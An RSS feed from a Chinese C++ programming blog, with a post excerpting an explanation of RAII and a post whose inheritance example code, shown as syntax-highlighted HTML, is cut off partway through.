﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-codeArt-随笔分类-C++</title><link>http://www.cppblog.com/codeart/category/14768.html</link><description>codeArt</description><language>zh-cn</language><lastBuildDate>Sun, 07 Nov 2010 06:26:18 GMT</lastBuildDate><pubDate>Sun, 07 Nov 2010 06:26:18 GMT</pubDate><ttl>60</ttl><item><title>RAII是什么？来源于金庆的专栏</title><link>http://www.cppblog.com/codeart/archive/2010/11/06/132675.html</link><dc:creator>codeArt</dc:creator><author>codeArt</author><pubDate>Sat, 06 Nov 2010 09:30:00 GMT</pubDate><guid>http://www.cppblog.com/codeart/archive/2010/11/06/132675.html</guid><wfw:comment>http://www.cppblog.com/codeart/comments/132675.html</wfw:comment><comments>http://www.cppblog.com/codeart/archive/2010/11/06/132675.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/codeart/comments/commentRss/132675.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/codeart/services/trackbacks/132675.html</trackback:ping><description><![CDATA[<p style="font-size: 13px; line-height: 19px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; text-indent: 20px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; ">摘自《Extended STL》中译</p><p style="font-size: 13px; line-height: 19px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; text-indent: 20px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; "><br></p><h1 style="margin-right: 0px; margin-left: 0px; margin-top: 10px; margin-bottom: 5px; font-size: 24px; line-height: 48px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; ">RAII：资源获取即初始化</h1><p style="font-size: 13px; line-height: 19px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; text-indent: 20px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; ">资源获取即初始化（RAII, Resource Acquisition Is Initialization）是指，当你获得一个资源的时候，不管这个资源是对象、内存、文件句柄或者其它什么，你都会在一个对象的构造函数中获得它，并且在该对象的析构函数中释放它。实现这种功能的类，我们就说它采用了"资源获取即初始化（RAII）"的方式。这样的类常常被称为封装类。</p><p style="font-size: 13px; line-height: 19px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; text-indent: 20px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; ">可以依据资源可变性和资源来源这两个特征，来对RAII进行分类。</p><p style="font-size: 13px; line-height: 19px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; text-indent: 20px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; "><br></p><h2 style="margin-top: 10px; margin-bottom: 3px; font-size: 18px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; line-height: 16px; ">资源可变性</h2><p style="font-size: 13px; line-height: 19px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; text-indent: 20px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; ">如果一个封装类对其实例提供额外的功能，使得其实例能被赋予新资源，这个类表现出的这种特征即称为"可变的RAII"，否则就是"不可变的RAII"。</p><p style="font-size: 13px; line-height: 19px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; text-indent: 20px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; ">不可变的RAII，是使用起来最简单的一种。说它简单，是因为在这种情况下，无需在封装类中提供用于指定资源的方法--不管是新分配的资源，还是对其他资源进行拷贝。这种RAII还意味着，类的析构函数总是可以假定，被封装的资源是有效的。</p><p style="font-size: 13px; line-height: 19px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; text-indent: 20px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; ">与此相反，提供可变的RAII的类，就需要实现下列功能中的绝大部分，或者全部：缺省的或者空的构造函数，拷贝构造函数，拷贝赋值操作，用于指定资源的方法。最重要的是，这样的类在析构函数和任何类似close()的方法中，释放资源前，都必须检测被封装的资源是不是null。</p><p style="font-size: 13px; line-height: 19px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; text-indent: 20px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; "><br></p><h2 style="margin-top: 10px; margin-bottom: 3px; font-size: 18px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; line-height: 16px; ">资源来源</h2><p style="font-size: 13px; line-height: 19px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; text-indent: 20px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; ">对于提供RAII的类来说，第二个重要的特征是，它们通过什么途径获取自己所管理的资源。以std::string为代表的类，使用的是内部初始化的RAII：它管理的资源--即内存中用于保存字符的缓冲区--是由它自己创建的，这一资源对外永远是不可见的。与此不同的是，以std::auto_ptr为代表的类表现出外部初始化的RAII行为：它所管理的资源，是使用它的客户程序（通过另外的某种方式获得之后）交给它的。</p><p style="font-size: 13px; line-height: 19px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; text-indent: 20px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; ">内部初始化的RAII的封装类，一般比较容易实现，但是功能上也比较受限制，因为它们获取资源的机制是预先定义好的，并且是固定不变的。不过，这样的类用起来也容易一些，或者说，比较难被误用：因为客户代码几乎没有机会犯下能导致资源泄露的错误。</p>
<img src ="http://www.cppblog.com/codeart/aggbug/132675.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/codeart/" target="_blank">codeArt</a> 2010-11-06 17:30 <a href="http://www.cppblog.com/codeart/archive/2010/11/06/132675.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C++的继承</title><link>http://www.cppblog.com/codeart/archive/2010/08/31/125326.html</link><dc:creator>codeArt</dc:creator><author>codeArt</author><pubDate>Mon, 30 Aug 2010 17:32:00 GMT</pubDate><guid>http://www.cppblog.com/codeart/archive/2010/08/31/125326.html</guid><wfw:comment>http://www.cppblog.com/codeart/comments/125326.html</wfw:comment><comments>http://www.cppblog.com/codeart/archive/2010/08/31/125326.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/codeart/comments/commentRss/125326.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/codeart/services/trackbacks/125326.html</trackback:ping><description><![CDATA[<p>&nbsp;</p>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><span style="COLOR: #008080">&nbsp;1</span><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #0000ff">class</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">base</span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">&nbsp;2</span><span style="COLOR: #000000"><img id=Codehighlighter1_11_246_Open_Image onclick="this.style.display='none'; Codehighlighter1_11_246_Open_Text.style.display='none'; Codehighlighter1_11_246_Closed_Image.style.display='inline'; Codehighlighter1_11_246_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_11_246_Closed_Image onclick="this.style.display='none'; Codehighlighter1_11_246_Closed_Text.style.display='none'; Codehighlighter1_11_246_Open_Image.style.display='inline'; Codehighlighter1_11_246_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_11_246_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_11_246_Open_Text><span style="COLOR: #000000">{<br></span><span style="COLOR: #008080">&nbsp;3</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000">:<br></span><span style="COLOR: #008080">&nbsp;4</span><span style="COLOR: #000000"><img id=Codehighlighter1_31_32_Open_Image onclick="this.style.display='none'; Codehighlighter1_31_32_Open_Text.style.display='none'; Codehighlighter1_31_32_Closed_Image.style.display='inline'; Codehighlighter1_31_32_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_31_32_Closed_Image onclick="this.style.display='none'; Codehighlighter1_31_32_Closed_Text.style.display='none'; Codehighlighter1_31_32_Open_Image.style.display='inline'; Codehighlighter1_31_32_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">base</span><span style="COLOR: #000000">()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_31_32_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_31_32_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">&nbsp;5</span><span style="COLOR: #000000"><img id=Codehighlighter1_46_47_Open_Image onclick="this.style.display='none'; Codehighlighter1_46_47_Open_Text.style.display='none'; Codehighlighter1_46_47_Closed_Image.style.display='inline'; Codehighlighter1_46_47_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_46_47_Closed_Image onclick="this.style.display='none'; Codehighlighter1_46_47_Closed_Text.style.display='none'; Codehighlighter1_46_47_Open_Image.style.display='inline'; Codehighlighter1_46_47_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">~</span><span style="COLOR: #0000ff">base</span><span style="COLOR: #000000">()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_46_47_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_46_47_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">&nbsp;6</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">&nbsp;7</span><span style="COLOR: #000000"><img id=Codehighlighter1_75_104_Open_Image onclick="this.style.display='none'; Codehighlighter1_75_104_Open_Text.style.display='none'; Codehighlighter1_75_104_Closed_Image.style.display='inline'; Codehighlighter1_75_104_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_75_104_Closed_Image onclick="this.style.display='none'; Codehighlighter1_75_104_Closed_Text.style.display='none'; Codehighlighter1_75_104_Open_Image.style.display='inline'; Codehighlighter1_75_104_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;func1()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_75_104_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_75_104_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">base::func1\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">&nbsp;8</span><span style="COLOR: #000000"><img id=Codehighlighter1_131_160_Open_Image onclick="this.style.display='none'; Codehighlighter1_131_160_Open_Text.style.display='none'; Codehighlighter1_131_160_Closed_Image.style.display='inline'; Codehighlighter1_131_160_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_131_160_Closed_Image onclick="this.style.display='none'; Codehighlighter1_131_160_Closed_Text.style.display='none'; Codehighlighter1_131_160_Open_Image.style.display='inline'; Codehighlighter1_131_160_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;func2()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_131_160_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_131_160_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">base::func2\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">&nbsp;9</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;ma;<br></span><span style="COLOR: #008080">10</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;mb;<br></span><span style="COLOR: #008080">11</span><span style="COLOR: #000000"><img id=Codehighlighter1_209_244_Open_Image onclick="this.style.display='none'; Codehighlighter1_209_244_Open_Text.style.display='none'; Codehighlighter1_209_244_Closed_Image.style.display='inline'; Codehighlighter1_209_244_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_209_244_Closed_Image onclick="this.style.display='none'; Codehighlighter1_209_244_Closed_Text.style.display='none'; Codehighlighter1_209_244_Open_Image.style.display='inline'; Codehighlighter1_209_244_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;member_func()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_209_244_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_209_244_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">base::member_func\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">12</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">13</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br></span><span style="COLOR: #008080">14</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">class</span><span style="COLOR: #000000">&nbsp;derive&nbsp;:&nbsp;</span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">base</span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">15</span><span style="COLOR: #000000"><img id=Codehighlighter1_277_586_Open_Image onclick="this.style.display='none'; Codehighlighter1_277_586_Open_Text.style.display='none'; Codehighlighter1_277_586_Closed_Image.style.display='inline'; Codehighlighter1_277_586_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_277_586_Closed_Image onclick="this.style.display='none'; Codehighlighter1_277_586_Closed_Text.style.display='none'; Codehighlighter1_277_586_Open_Image.style.display='inline'; Codehighlighter1_277_586_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_277_586_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_277_586_Open_Text><span style="COLOR: #000000">{<br></span><span style="COLOR: #008080">16</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000">:<br></span><span style="COLOR: #008080">17</span><span style="COLOR: #000000"><img id=Codehighlighter1_299_300_Open_Image onclick="this.style.display='none'; Codehighlighter1_299_300_Open_Text.style.display='none'; Codehighlighter1_299_300_Closed_Image.style.display='inline'; Codehighlighter1_299_300_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_299_300_Closed_Image onclick="this.style.display='none'; Codehighlighter1_299_300_Closed_Text.style.display='none'; Codehighlighter1_299_300_Open_Image.style.display='inline'; Codehighlighter1_299_300_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;derive()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_299_300_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_299_300_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">18</span><span style="COLOR: #000000"><img id=Codehighlighter1_316_317_Open_Image onclick="this.style.display='none'; Codehighlighter1_316_317_Open_Text.style.display='none'; Codehighlighter1_316_317_Closed_Image.style.display='inline'; Codehighlighter1_316_317_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_316_317_Closed_Image onclick="this.style.display='none'; Codehighlighter1_316_317_Closed_Text.style.display='none'; Codehighlighter1_316_317_Open_Image.style.display='inline'; Codehighlighter1_316_317_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">~</span><span style="COLOR: #000000">derive()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_316_317_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_316_317_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">19</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">20</span><span style="COLOR: #000000"><img id=Codehighlighter1_345_376_Open_Image onclick="this.style.display='none'; Codehighlighter1_345_376_Open_Text.style.display='none'; Codehighlighter1_345_376_Closed_Image.style.display='inline'; Codehighlighter1_345_376_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_345_376_Closed_Image onclick="this.style.display='none'; Codehighlighter1_345_376_Closed_Text.style.display='none'; Codehighlighter1_345_376_Open_Image.style.display='inline'; Codehighlighter1_345_376_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;func1()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_345_376_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_345_376_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive::func1\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">21</span><span style="COLOR: #000000"><img id=Codehighlighter1_403_434_Open_Image onclick="this.style.display='none'; Codehighlighter1_403_434_Open_Text.style.display='none'; Codehighlighter1_403_434_Closed_Image.style.display='inline'; Codehighlighter1_403_434_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_403_434_Closed_Image onclick="this.style.display='none'; Codehighlighter1_403_434_Closed_Text.style.display='none'; Codehighlighter1_403_434_Open_Image.style.display='inline'; Codehighlighter1_403_434_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;func3()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_403_434_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_403_434_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive::func3\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">22</span><span style="COLOR: #000000"><img id=Codehighlighter1_461_492_Open_Image onclick="this.style.display='none'; Codehighlighter1_461_492_Open_Text.style.display='none'; Codehighlighter1_461_492_Closed_Image.style.display='inline'; Codehighlighter1_461_492_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_461_492_Closed_Image onclick="this.style.display='none'; Codehighlighter1_461_492_Closed_Text.style.display='none'; Codehighlighter1_461_492_Open_Image.style.display='inline'; Codehighlighter1_461_492_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;func4()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_461_492_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_461_492_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive::func4\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">23</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">24</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;ma2;<br></span><span style="COLOR: #008080">25</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;mb2;<br></span><span style="COLOR: #008080">26</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">27</span><span style="COLOR: #000000"><img id=Codehighlighter1_546_584_Open_Image onclick="this.style.display='none'; Codehighlighter1_546_584_Open_Text.style.display='none'; Codehighlighter1_546_584_Closed_Image.style.display='inline'; Codehighlighter1_546_584_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_546_584_Closed_Image onclick="this.style.display='none'; Codehighlighter1_546_584_Closed_Text.style.display='none'; Codehighlighter1_546_584_Open_Image.style.display='inline'; Codehighlighter1_546_584_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;member_func2()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_546_584_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_546_584_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive::member_func2\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">28</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">29</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br></span><span style="COLOR: #008080">30</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">class</span><span style="COLOR: #000000">&nbsp;derive2&nbsp;:&nbsp;</span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000">&nbsp;derive<br></span><span style="COLOR: #008080">31</span><span style="COLOR: #000000"><img id=Codehighlighter1_620_935_Open_Image onclick="this.style.display='none'; Codehighlighter1_620_935_Open_Text.style.display='none'; Codehighlighter1_620_935_Closed_Image.style.display='inline'; Codehighlighter1_620_935_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_620_935_Closed_Image onclick="this.style.display='none'; Codehighlighter1_620_935_Closed_Text.style.display='none'; Codehighlighter1_620_935_Open_Image.style.display='inline'; Codehighlighter1_620_935_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_620_935_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_620_935_Open_Text><span style="COLOR: #000000">{<br></span><span style="COLOR: #008080">32</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #0000ff">public</span><span style="COLOR: 